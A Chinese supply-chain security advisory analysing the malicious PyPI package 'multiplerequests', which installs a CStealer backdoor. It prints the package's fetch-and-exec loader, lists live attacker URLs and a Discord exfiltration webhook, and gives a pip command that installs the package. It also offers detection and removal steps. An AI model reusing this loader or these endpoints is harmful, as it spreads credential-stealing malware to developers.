Loading [MathJax]/jax/input/TeX/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >供应链投毒预警:恶意Py包伪装HTTP组件开展CStealer窃密后门攻击

供应链投毒预警:恶意Py包伪装HTTP组件开展CStealer窃密后门攻击

原创
作者头像
OpenSCA社区
发布于 2024-04-30 09:22:54
发布于 2024-04-30 09:22:54
1690
举报
文章被收录于专栏:OpenSCAOpenSCA

概述

近日(2024年4月25号),悬镜供应链安全情报中心在Pypi官方仓库(https://pypi.org/)中捕获1起CStealer窃密后门投毒事件,投毒者连续发布6个不同版本的恶意Py包multiplerequests,目标针对windows平台python开发者,该恶意包在安装时会远程加载CStealer后门到受害者系统上执行,该后门会窃取受害者系统敏感信息、主流浏览器隐私数据、数字货币钱包应用数据以及系统屏幕截屏等。此外,后门还会尝试驻留Windows系统启动目录实现开机自启动。

截至目前,恶意Py包multiplerequests在pypi官方仓库上被下载435次。

pypi仓库恶意包multiplerequests下载量
pypi仓库恶意包multiplerequests下载量

该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装,因此潜在的受害者数量可能会更多。

清华镜像源
清华镜像源

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install multiplerequests -i https://pypi.tuna.tsinghua.edu.cn/simple

由于该恶意Py包只针对Windows系统,测试环境使用Linux系统,导致恶意包安装过程中触发恶意代码时触发非预期的Windows系统路径(~\\AppData\\Roaming/frvezdffvvcode.py) 的文件写入操作。

投毒分析

以multiplerequests恶意包2.31.0版本为例,当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或依赖引用恶意组件包时,将自动触发执行Python安装包setup.py中经过base64编码的恶意代码。

恶意代码base64解码后如下所示,第一阶段恶意代码进一步从投毒者服务器上(https://frvezdffvv.pythonanywhere.com/getpackage)拉取第二阶段恶意代码并执行。

from urllib import request

package_url = "https://frvezdffvv.pythonanywhere.com/getpackage"

package_name = request.urlopen(package_url).read()

exec(base64.b64decode(package_name))

第二阶段恶意代码同样经过base64编码,如下所示:

第二阶段恶意代码(base64编码)

Base64解码后还原出真实的第二阶段恶意代码,如下所示:

第二阶段真实恶意代码
第二阶段真实恶意代码

代码分析后确认该恶意代码是github开源CStleaer后门项目的变种版本(https://github.com/can-kat/cstealer/blob/main/cstealer.py)。

CStealer窃密后门项目
CStealer窃密后门项目

该恶意代码主要包括以下功能:

1. 收集系统敏感信息

2. 收集浏览器隐私数据

3. 收集数字钱包应用数据

4. 系统屏幕截屏

5. 开机自启动

收集系统敏感信息

通过python内置platform和socket模块获取操作系统版本、处理器、网卡MAC、网络IP地址、主机名等敏感信息,并将数据外传到投毒者webhook接口(https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oot)。

系统信息收集功能
系统信息收集功能

收集浏览器隐私数据

针对基于chromium内核的主流浏览器(chrome、opera、edge、torch、yandex、epic等)进行用户隐私数据收集,包括cookie、登录凭证、浏览历史数据、下载记录等。

浏览器用户隐私数据收集功能
浏览器用户隐私数据收集功能

浏览器数据收集后,会被压缩打包发送到投毒者webhook接口:

浏览器隐私数据外传功能
浏览器隐私数据外传功能

收集数字钱包应用数据

针对主流数字钱包(Atomic Wallet、Binance、Electrum等)的应用数据进行压缩打包后,利用curl将钱包数据外传到投毒者服务器(https://store1.gofile.io/uploadFile)。

数字钱包及其应用数据路径
数字钱包及其应用数据路径
数字钱包应用数据外传接口
数字钱包应用数据外传接口

系统屏幕截屏

首先从攻击者服务器(https://frvezdffvv.pythonanywhere.com/getmss)下载python mss模块安装包(mss.zip)到目标系统中,并对安装包进行解压。

远程下载python mss屏幕截屏模块
远程下载python mss屏幕截屏模块

python mss是个基于ctypes实现的跨平台屏幕截屏模块,项目源码托管在github上(https://github.com/BoboTiG/python-mss)。

Python MSS开源项目
Python MSS开源项目

如下所示,恶意代码利用python-mss模块获取受害者系统的屏幕截屏后,将截屏数据发送到投毒者webhook接口上。

系统屏幕截屏及数据回传
系统屏幕截屏及数据回传

开机自启动

该CStealer后门还会将自身恶意代码拷贝到Windows系统启动目录,尝试通过开机自启动实现投毒持久化。

恶意后门写入Windows系统自启动目录
恶意后门写入Windows系统自启动目录

IoC数据

此次投毒组件包涉及以下IoC数据:

IoC

类型

SHA256

multiplerequests-2.31.0/setup.py

文件

e6eb8d5f7d451e8833551337c3b775170071935581059c553fa889f046a81c3f

https://frvezdffvv.pythonanywhere.com/getpackage

URL

https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oot

URL

https://frvezdffvv.pythonanywhere.com/getmss

URL

https://rentry.co/u4tup/raw

URL

https://rentry.co/5crcu/raw

URL

https://rentry.co/5uu99/raw

URL

https://rentry.co/pmpxa/raw

URL

https://store1.gofile.io/uploadFile

URL

排查方式

截至目前,该Python恶意组件包仍可从国内主流Pypi镜像源正常下载安装,国内Python开发者可根据恶意包信息和IoC数据通过以下方式进行快速排查是否安装或引用恶意组件包。

开发者可通过命令pip show multiplerequests快速排查是否误安装或引用该恶意py组件包,若命令运行结果如下图所示,则代表系统已被安装该恶意组件,请尽快通过命令pip uninstall multiplerequests -y 进行卸载,同时还需关闭系统网络并排查系统是否存在异常进程。

此外,开发者也可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件,直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到投毒包影响。

[

{

"product": "multiplerequests",

"version": "[2.31.0, 2.31.1, 2.31.2, 2.31.3, 2.31.4, 2.31.5]",

"language": "python",

"id": "XMIRROR-MAL45-7DF79312",

"description": "Python恶意组件包multiplerequests开展CStealer窃密后门攻击",

"release_date": "2024-04-25"

}

]

悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析)
悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方式对潜在风险的开源组件包进行动态跟踪和捕获,发现大量的开源组件恶意包投毒攻击事件。在2024年4月份,悬镜供应链安全情报中心在NPM官方仓库(https://www.npmjs.com/)和Pypi官方仓库(https://pypi.org/)上共捕获772个不同版本的恶意组件包,其中NPM仓库投毒占比接近89%, Pypi仓库投毒占比11%;Pypi官方仓库经历3月份遭受集中式投毒后,对新发布组件包进一步加强审查力度,本月Pypi恶意投毒攻击呈现大幅下降趋势。
OpenSCA社区
2024/05/21
3481
供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析)
安全情报 | Pypi再现窃密攻击投毒
悬镜安全自研的开源组件投毒检测平台通过对主流开源软件仓库(包括Pypi、NPM、Ruby等)发布的组件包进行持续性监控和自动化代码安全分析,同时结合专家安全经验复审,能够及时发现组件包投毒事件并精确定位恶意代码片段,捕获潜在的供应链投毒攻击行为。
OpenSCA社区
2023/09/19
3980
安全情报 | Pypi再现窃密攻击投毒
供应链安全情报 | 恶意py包伪装代理SDK进行后门攻击,目标锁定python开发者
2023年11月28号,悬镜供应链安全实验室在Pypi官方仓库(https://pypi.org)监测到两起伪装成http和socks5代理SDK的开源组件投毒事件。python开发者一旦下载安装这些投毒Py包(libproxy、libsocks5),会触发执行Py包中的恶意代码,最终将导致开发者系统被投毒者植入恶意后门。
OpenSCA社区
2023/12/01
4570
供应链安全情报 | 恶意py包伪装代理SDK进行后门攻击,目标锁定python开发者
供应链投毒预警 | 恶意Py包仿冒tensorflow AI框架实施后门投毒攻击
本周(2024年01月15号),悬镜供应链安全实验室在Pypi官方仓库(https://pypi.org/)中捕获1起Py包投毒事件,投毒者利用包名错误拼写(typo-squatting)的攻击方式来仿冒谷歌开源的tensorflow机器/深度学习框架,投毒攻击目标锁定AI开发者。
OpenSCA社区
2024/01/22
3150
供应链投毒预警 | 开源供应链投毒202401最新月报来啦!
悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方法对潜在风险的开源组件包进行分析和监测,捕获大量开源组件恶意包投毒攻击事件。2024 年 1 月份,悬镜供应链安全情报中心在 Npm 官方仓库(https://www.npmjs.com/)和 Pypi 官方仓库(https://pypi.org/)上共捕获 675 个不同版本的恶意投毒包,其中 Npm 仓库投毒占比 90.48%, Pypi 仓库投毒占比 9.52%, 从每日捕获的投毒包数据来看,Npm 仓库仍然是开源组件投毒的重灾区。
OpenSCA社区
2024/03/02
4080
供应链投毒预警 | 恶意NPM包利用Windows反向shell后门攻击开发者
本周(2024年02月19号),悬镜供应链安全情报中心在NPM官方仓库(https://npmjs.com)中发现多起NPM组件包投毒事件。攻击者利用包名错误拼写方式 (typo-squatting)在NPM仓库中连续发布9个不同版本的恶意包,试图通过仿冒合法组件(ts-patch-mongoose)来攻击潜在的NodeJS开发者。
OpenSCA社区
2024/02/29
3750
PyPI代码库又现恶意软件包,腾讯安全威胁情报已收录,专家提醒码农小心供应链攻击
据Jfrog科技博客报道,在 PyPI 存储库中发现几个恶意代码,攻击者试图植入后门、窃取信用卡信息、窃取浏览器敏感数据、截屏并上传到指定地址。相关恶意代码在从PyPI网站删除之前已被下载3万次,腾讯安全专家发现国内部分镜像库尚存在这些恶意代码,腾讯安全专家建议软件开发人员从PyPI 代码库下载资源时,注意进行安全审核,避免将恶意代码安装到自己的开发环境中。
腾讯安全
2021/08/04
1.1K0
PyPI代码库又现恶意软件包,腾讯安全威胁情报已收录,专家提醒码农小心供应链攻击
重大SBOM风险预警 | 总下载量超百万次开源NPM组件被投毒
近日(2025.03.25),悬镜供应链安全情报中心在NPM官方仓库(www.npmjs.com)中捕获1起针对全球知名薪酬数据统计平台 PayScale 旗下开源NPM组件 country-currency-map的供应链投毒事件。country-currency-map 是一款可以帮助前端开发人员快速获取货币和国家/地区关系,便于开发国际化应用的开源组件。截至目前 country-currency-map 组件在NPM官方仓库总下载量已超过百万次。
软件供应链安全工具推荐
2025/03/31
1290
重大SBOM风险预警 | 总下载量超百万次开源NPM组件被投毒
【安全通知】PyPI 官方仓库遭遇request恶意包投毒
近日,腾讯洋葱反入侵系统检测发现 PyPI官方仓库被恶意上传了request 钓鱼包,由于国内开源镜像站均同步于PyPI官方仓库,所以该问题不仅会通过官方仓库,还可能通过各个开源镜像站影响广大用户,腾讯安全应急响应中心(TSRC)秉承共建安全生态的原则,TSRC在此建议各开源镜像站以及对开源镜像站有依赖的公司,请尽快自查处理,确保恶意库得到清除,保障用户安全。
腾讯安全应急响应中心
2020/08/05
9270
【安全通知】PyPI 官方仓库遭遇request恶意包投毒
PyPI 中发现六个针对 Windows 用户的恶意软件包
研究人员发现的 6 个恶意软件包,都缺少与之关联的 GitHub 存储库。合法软件包通常都会有与之关联的存储库,而恶意软件包为了隐藏代码则通常不会关联。执行后,恶意软件包会收集敏感数据并将其发送到第三方 URL。
FB客服
2023/08/08
2860
PyPI 中发现六个针对 Windows 用户的恶意软件包
浅析软件供应链攻击之包抢注低成本钓鱼
为了提高企业研发与办公效率,降低时间与人力成本,任何一家企业的服务器和办公电脑都离不开第三方的开源或商业软件。通常大多数企业会假设上游供应商安全有保障,或者说大多数情况下无法确认供应商的安全性,即便知道供应商没那么可靠,对其安全也强制不了,但为了满足自身需求也会妥协采用。因此软件供应链攻击的伤害效果注定显著,黑客攻击上游后,控制下游也就水到渠成。这类攻击具有隐蔽性强、影响范围广、投入产出比高等特点,一直是恶意攻击者热衷的渗透打点手段,也是企业、个人及安全保障团队难以完全杜绝的攻击场景。
腾讯安全应急响应中心
2021/03/28
1.5K0
浅析软件供应链攻击之包抢注低成本钓鱼
GitHub遭遇严重供应链“投毒”攻击
Checkmarx 在一份技术报告中提到,黑客在这次攻击中使用了多种TTP,其中包括窃取浏览器cookie接管账户、通过验证提交恶意代码、建立自定义Python镜像,以及向PyPI注册表发布恶意软件包等。
FB客服
2024/04/01
4110
GitHub遭遇严重供应链“投毒”攻击
安全事件运营SOP:软件供应链投毒事件
在开篇《安全事件运营SOP【1】安全事件概述》中,介绍了安全事件的定义、分级、处置原则及处置流程。当发生某类安全事件时,该如何快速处置?以及如何保证不同人员处置的效果都达标?安全事件的种类虽然繁多,但是处理起来并非无据可循。为了解决上述两个问题,同时提升工作效率和降低安全风险。经过大量的运营处置实践,总结出以下常见的处置标准操作程序(SOP)。
aerfa
2023/09/02
1.9K0
安全事件运营SOP:软件供应链投毒事件
【安全通知】PyPI 官方仓库遭遇covd恶意包投毒
近日,腾讯洋葱反入侵系统检测发现 PyPI官方仓库被恶意上传了covd 钓鱼包,并通知官方仓库下架处理。由于国内开源镜像站均同步于PyPI官方仓库,所以该问题不仅会通过官方仓库,还可能通过各个开源镜像站影响广大用户,腾讯安全应急响应中心(TSRC)秉承共建安全生态的原则,TSRC在此建议各开源镜像站以及对开源镜像站有依赖的组织和公司,请尽快自查处理,确保恶意库得到清除,保障用户安全。
腾讯安全应急响应中心
2020/11/18
5630
【安全通知】PyPI 官方仓库遭遇covd恶意包投毒
浅谈企业级供应链投毒应急安全能力建设
'''在此之前写了不少企业安全建设实践方面的文章,那建设的效果怎么样呢?唯有在日常的工作场景中应用,通过实战的检验,才能做出判断。本文将通过介绍供应链投毒的应急响应流程,引入coa投毒的应急响应实例,并提取出常规企业安全建设所需的安全能力。'''
aerfa
2021/11/25
1.2K0
浅谈企业级供应链投毒应急安全能力建设
开源软件的供应链安全吗?黑客正在利用源代码传播恶意软件
过去一年里,发生了一连串开源软件遭受供应链攻击的事件,并且态势愈演愈烈。就在最近,甚至发现2个独立的后门漏洞进入了数十万服务器管理员下载的库中。
FB客服
2019/09/11
9350
【安全通知】NPM遭遇供应链投毒攻击窃取K8S集群凭证
近日,腾讯洋葱反入侵系统检测发现 NPM官方仓库被上传了radar-cms 恶意包,并通知官方仓库下架处理。由于国内开源镜像站均同步于NPM官方仓库,所以该问题不仅会通过官方仓库,还可能通过各个开源镜像站影响广大用户。
腾讯安全应急响应中心
2021/02/24
7960
【安全通知】NPM遭遇供应链投毒攻击窃取K8S集群凭证
AI模型库 : 下一个大型供应链攻击目标
Hugging Face 等AI模型存储库为攻击者提供了与 npm 和 PyPI 等开源公共存储库相同的将恶意代码植入开发环境的机会。
星尘安全
2024/11/20
1340
AI模型库 : 下一个大型供应链攻击目标
解释型语言生态中的供应链攻击与防御
许多现代网络应用依靠解释型编程语言,因为它们有丰富的库和包。像PyPI、Npm和RubyGems这样包管理器提供了一个集中的仓库,开发者可以搜索和安装代码包,以帮助开发。包管理器不仅使开发过程更加有效,而且还创建了一个大型社区,进行合作和分享开源代码。不幸的是,攻击者已经找到方法渗透到这些社区,用恶意代码感染良性的流行软件包,窃取凭证,安装后门,甚至滥用计算资源进行加密货币挖掘。
安全锚Anchor
2023/09/07
2820
全球供应链安全警钟:七大知名供应链攻击事件回顾
近日,“黎巴嫩爆炸事件”震惊世界,攻击者通过引爆控制的传呼机等电子设备,在极短的时间内制造了大规模恐怖袭击,其攻击的复杂程度和造成的巨大破坏深深震撼了所有人,也让供应链安全再次映入眼帘成为全球关注的焦点。
星尘安全
2024/09/25
2.6K0
全球供应链安全警钟:七大知名供应链攻击事件回顾
推荐阅读
相关推荐
供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档